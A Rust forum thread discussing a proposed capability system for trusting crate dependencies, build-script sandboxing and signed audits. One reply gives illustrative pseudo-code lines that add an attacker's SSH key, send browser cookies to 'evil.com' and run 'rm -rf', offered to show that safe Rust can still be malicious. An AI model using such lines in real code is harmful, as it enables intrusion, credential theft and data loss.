[pre-pre-rfc?] Solving Crate Trust

Over time I’ve seen a bunch of problems brought up about trusting dependencies. While they’re different concerns with different threat models, I like to think of them as being different flavors of an overarching problem I call “crate trust”. I’d like to start a discussion about this, and propose one solution. This is a pre-pre-rfc with more of a sketch of a solution instead of specifics, and if folks like this I can move on to a more fleshed out pre-rfc.

Problems

Here are some of the problems in this space I wish to solve:

Problem: Unsafe trust

The majority of folks use Rust because of its safety.

However, Rust’s safety has a major caveat in it, for it to work all of the “unsafe” code must be correct. You can audit your own crates, but when you have tens or hundreds of dependencies, how will you keep track of who is using unsafe?

The threat model here isn’t someone maliciously sneaking unsafe under your eyes. If you want to deliberately cause safety problems you can do so without using the unsafe keyword. The threat model is poorly written unsafe code. There are different levels of trust involved here, I may trust rust-lang-nursery/foo and rust-lang/foo to generally get safety correct, I will trust my own crates (because I’ve audited them), but if my dependency randomperson/foo uses unsafe I might want to audit them.

It would be great to have tooling that lets us keep track of which dependencies we trust to use unsafe, and be notified when a new untrusted dep uses unsafe or a dep that uses unsafe is updated to a new version such that we need to audit it again.

Problem: General code trust

Firefox (and likely other major users) needs a solution to this. Firefox is shipping code to millions of users; cargo update should not be a vector for getting malicious code into the browser.

This is similar in structure to the unsafe code problem. Some crates we can just trust, because they’re maintained by the Rust, Servo, or other “trusted” teams. But for other crates, we need to be careful when we pull in updates, auditing the code. Tooling that lets us keep track of crate audit/code reviews would be nice.

We might end up writing this tool ourselves, but if the umbrella “crate trust” problem can be fixed it would make things easy.

Problem: Build scripts and plugins

This is essentially this problem. We allow folks to execute arbitrary code in the form of build scripts and plugins. This can do malicious things at compile time; which is pretty spooky.

It’s questionable if this is different from the “general code trust” issue. After all, if you’re building something you’re probably running it as well. However, you might be running it in a different environment, whereas build scripts can flat out find and upload developer credentials. This really makes it seem like you should always just build and run in a locked down environment, but building is a more interactive process and it would be nice if we could help secure our users here.

To this end, it would be nice if it was possible to restrict what build scripts can do (or if packages are even allowed to have build scripts, or allowed to be a dependency of a build script). You have different kinds of build scripts:

  • Codegen scripts: These need read access to the package, and write access to the outdir
  • Native compilation scripts: These need read access to pkg-config, gcc, /lib, and a few other places.
  • Miscellaneous: These may need access to additional system folders, or even all of them.

If dependencies could declare what they need, we can actually sandbox build scripts and plugins to operate only within that sphere only. Similar to the previous problems, being able to grant these capabilities at the top level would be nice.

Solution

Bear in mind that this is a high level view of a possible solution. There are other solutions (which I’d love to hear!), and the specifics of how this will work are missing (the syntax of declaring/granting capabilities, where they get granted, etc)

Basically, this all boils down to capabilities. Allowing crates to declare capabilities, and allowing the toplevel crate (via .cargo/config, or Cargo.toml) to grant capabilities.

The tool that enforces this need not be cargo, it can be a custom tool instead. However given the sandboxing requirements some cargo integration would be good to have.

Some candidate capabilities would be:

  • Allowed to use unsafe code. Granted to all crates by default, but you can change this at the toplevel. We can make it so that crates need not declare this and instead we get this from compiler metadata. This solves the unsafe problem
  • “Allowed to exist”. An implicit capability (need not be requested in Cargo.toml), and granted by default. However, you can change this at the top level, such that you have to explicitly whitelist crates allowed to be dependencies. This solves the “general code trust” problem
  • Build time capabilities:
    • Allowed to have a build script or be a plugin (i.e. “allowed to be executed at compile time”). Granted by default.
    • Allowed to be a dependency of a build script or plugin (could be rolled into the previous one)
    • Allowed to read from the crate’s folder, and write to $OUTDIR. Granted by default. Enforced by sandboxing.
    • Allowed to compile C++ code (this might be hard to specify, but it involves read access to a bunch of system folders, execute access to gcc binaries, and stuff like that). Granted by default. Enforced by sandboxing.
    • Allowed to read/write/execute a custom list of folders. Not granted by default. Enforced by sandboxing.
    • Allowed to do whatever it wants at build time. Not granted by default.

At the top level, you can declare what capabilities you care about (“please check for unsafe code”, “please check if all crates are allowed”, “please sandbox build scripts”), and then grant them.

Then, you can specify:

  • If all versions of a crate are granted a capability (I trust rayon to be good at auditing its own unsafe code)
  • If some versions of a crate are granted a capability (semver syntax). We probably only need foo=* and foo=specificversion and nothing else.
  • In case we grant capabilities in Cargo.toml, we can make this transitive – have the ability to say that you include all capabilities granted in the Cargo.toml of one of your dependencies. This is useful for larger projects made up of multiple crates
  • If all crates by some author are granted a capability (for some TBD definition of authorship)

Thoughts?

cc @matklad @alexcrichton @carols10cents @luser

29 Likes

cc https://github.com/rust-lang/cargo/issues/4768 and @withoutboats

(for new readers, to be clear, https://github.com/rust-lang/cargo/issues/4768 solves a very different problem, it removes the requirement for you to trust crates.io)

I’m glad someone is looking into this.

It may well be useful to specify restrictions per user (i.e. affecting cargo install and cargo build on all projects) as well as per project.

Thanks!

This will be relatively easy to do if we allow .cargo/config to grant capabilities; because .cargo/config can be crate-local, or local to all crates within a folder, or applicable to a user.

It’s interesting that for “allowed to exist” capability, it should be relatively easy to build a tool outside of Cargo today. The tool can use cargo metadata to get the information about all dependencies and than compare it with a whitelist of crates. I think this can become a fun open-source project, if the precise requirements are carefully written down (and if there are people/companies who would love to use this tool).

Yep. Firefox was planning on building this but never got around to it. We might still do it at some point.

Here’s a scary article on how a trusting package ecosystem can be abused: https://medium.com/@david.gilbertson/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5 (this one is about npm+browser, but in general the same threats apply to Cargo+native apps).

tldr:

  • There’s no link between code on GitHub and code in the package. Publishing innocent code on GitHub and malicious code in the package file can fool people reviewing the repo (also a really safe package can become malicious at any later time).
  • Malicious code can guess whether it’s likely to be running on developer’s machine and stay hidden, and attack only when its definitely on helpless victim’s machine, so attack may be hard to spot at run time.
  • Making a small crate and having it adopted by a dependency of a popular dependency suddenly gives a small package a huge reach.
11 Likes

I would like to see some mechanism to reduce duplicated effort in the audits. If everyone has to audit all their dependencies individually themselves, that’s a lot of duplicated/wasted effort.

I would like to specify that I trust some other person or organization to audit packages for me. This way we could have community organize, or companies emerge, that perform audits of significant number of packages for everyone.

Technically that could probably be done by publishing cryptographic signatures for audited & trusted packages, and something to specify whose keys I trust.

7 Likes

I doubt whether there’s a meaningful security in blocking of build scripts. While they’re the easiest and most straightforward way to pwn the build machine, realistically the same thing can be done from library code as well. The build machine is likely execute tests. If it’s developer machine, there’s nearly 100% chance that the developer will run the library code.

If a package really is malicious, blocking of build scripts only delays infection by one step. Malicious code will run when the built executable is tested or run.

So either build and products must be strongly isolated, or both guaranteed to be exploit-free.

2 Likes

I think the best way to approach this would be to try and model it in terms of probabilities. A rough outline of a design could look something like this:

On crates.io, every user account has a trust score in the range (0.0, 1.0) indicating how likely that person is to be non-malicious. By default, every new user account has a trust score of, say, 0.99. Rust team members would have a higher score of, say, 0.999. In cargo’s global config you’re able to override these trust scores and say that you trust (eg.) @Manishearth by 0.999.

Users are able to endorse each other. I can tell crates.io that I trust @bob by b, then anyone who trusts me by x and would otherwise trust @bob by y would now trust @bob by max(y, x * b). (Or maybe some other formula. We’d need to do the math / game theory to work out what the correct probability would be)

When you build a crate, cargo looks at all the authors in the dependency tree and multiplies all the scores together to get the probability of the crate not containing any malicous code.

Every user account on crates.io then also has two reliability scores in the range (0.0, 1.0) indicating how likely a given byte of safe/unsafe code is to not accidently introduce an attack vector. New users get some default scores, same as with trustworthiness scores, and the default safe reliability score is significantly higher than the default unsafe reliability score.

When building, cargo looks at the amounts of (safe/unsafe) code introduced by each user and uses this to calculate to probability of there being no security flaws in the code.

Users can also review crates and endorse them as being reliable. If the crate author has a reliability score of a, and the reviewer has a reliability score of r, then the code in the crate inherits a score of a + (1 - a) * r. This allows multiple reviews to “stack up”, with more reliable reviewers adding more to the reliability score of the crate.

Cargo has global config settings of minimal trustworthiness and minimal reliability which restrict what you’re allowed to build/install. It also has the ability to give you a read-out of the scores of a crate and audit them to see how they were calculated.

In addition to all this, I’d kind of like to have a trusted subset of Rust which disallows unsafe code and disallows depending on crates which contain non-trusted code. The standard library would be non-trusted but there could maybe be an alternate, trusted standard library which doesn’t contain things like File. Trusted crates could then be depended on without effecting the trustworthiness of the depending crate.

Edit: Actually, since we’re making formal models of Rust, we could integrate cargo/crates.io with some formal verification tool and allow users to publish correctness proofs with their code. This could be a good to alternative to "trusted" Rust.

I think this attempts to solve a different problem. This creates a distributed trust model via a web of trust.

That's ... that's not what we really need, though. Because what a particular user cares about may vary, and the people a particular user trusts vary.

For example, this doesn't help Firefox at all, because the whole idea is that code being built as part of Firefox needs to be reviewed by a Firefox module owner. Not a nebulous web of trust.

Why wouldn't it work for firefox? Whoever's in charge of releasing a firefox build would have cargo set up to put a very high level on trust on firefox developers and low level of trust on everyone else (maybe they can override the default scores given by crates.io if they feel crates.io isn't paranoid enough, though that's really a problem they should take up with the crates.io maintainers). Firefox developers could review crates and publish their reviews on crates.io to get the scores to where they need to be before the build is considered acceptably trustworthy.

The problems seem to cover a few different things:

  • you cannot trust anyone, so you need help to decide which crates are ‘risky’ (unsafe, build script) and are candidates to audit
  • when auditing crates, you need to be able to track if/when a crate was last reviewed
  • you may wish to have some rules on dependencies to loudly flag increased risk (e.g. if left-pad were to add unsafe code)
  • you want additional granularity of risk (e.g. different types of build scripts) to be able to automatically make more informed judgments on ‘increased risk’

Capabilities seems like a big jump. I can see it being an interesting ‘end goal’, but it seems to assume the presence of solutions to each of the above (e.g. that everyone can agree on the right way to decompose build scripts and will move over to it, that there’s a sandboxing strategy people can agree on), each of which seems like a possible RFC in itself.

What if step 1 of solving crate trust is just really good risk reporting of dependencies? E.g. you run cargo risk-report and it spits out some toml (or whatever) that lists each package and its risk factors (unsafe code, build scripts, include_bytes!, plugins). By itself this gives you the first point. Diffing against a previous risk report gives the second and a small utility would be sufficient to add the third.

This will hopefully raise awareness, allow the creation of related tools and maybe get more ideas of what people want to see as the idea is taken forward.

4 Likes

I thought this was an interesting solution to the problem, although I’m not sure about the actual practicality:

It seems to me that the most practical solution is to:

  1. Sign packages and include the public key in either Cargo.toml or an auxiliary file
  2. Also have crates.io host signed review messages, that would be produced when e.g. the Firefox team or the Rust libs team reviews a version of a crate and finds it non-malicious
  3. Provide in either Cargo.toml or local Cargo configuration a way to provide a list of trusted public keys: the build will fail if there is any dependency crate with no usable versions that are not either authored or reviewed by any of the keys. The solution then is of course to add your own key to the trusted keys, review the crate code and sign a review message (which would be automatically uploaded to crates.io unless the user opts out)
  4. Have Cargo use trusted crate versions even if they aren’t the last version
  5. Provide some way of mass trusting the keys of prominent developers, and maybe have a “web of trust” system where developers can trust each other, and users can choose to also trust those transitively trusted keys (this probably shouldn’t be used for important software like Firefox)

The idea of sandboxing untrusted crates seems instead much less promising since Rust has not really been designed for that and there are have been soundness holes as well as probably vulnerable unsafe code. That said, it’s still better than nothing, so it could be worth exploring.

Also I think trust needs to be (at least mainly) binary and not probabilistic, since if you care about it you need to be sure that the code is not malicious, so there is no difference between 90% and 0% trust.

BTW, we should use quantum-resistant signatures and keys (SIDH-based?) along with traditional EC crypto if possible, so we don’t have to throw away all crate reviews if quantum computers show up.

3 Likes

It may be worth mentioning that not-unsafe Rust code using only trusted packages can still cause harm:

fs::File::create(".ssh/authorized_keys")?.write_all(let_attackers_in);

curl.send("http://evil.com", file::get(browser_cookie_db_path));

Command::new("rm").arg("-rf")

etc. not-unsafe Rust is not safe at all, so audits focused on unsafe blocks aren’t going to catch malicious packages.

5 Likes

I think this really combines all the threat models into one. There are different things you wish to trust, and different levels of trust. Trust isn't a simple binary, it's multidimensional.

The idea of sandboxing untrusted crates seems instead much less promising since Rust has not really been designed for that and there are have been soundness holes as well as probably vulnerable unsafe code. That said, it’s still better than nothing, so it could be worth exploring.

Again, you're missing the threat model, sandboxing untrusted crates is for catching malicious build scripts, not mistakes.

Yeah, to be clear, for unsafe code the threat model involved is mistakes, not outright malicious code. Outright malicious code is what the "allowed to be used at all" capability is for.

1 Like

This is an important point. When I type cargo publish, it's the code in my local directory which gets used, not the code in some public repository. Maybe instead publish should take a commit on a pulbic GitHub repo, clone that repo into a GH team belonging to the Cargo team, make a signed tag, build from that, and then sign the build (all on a build server).

3 Likes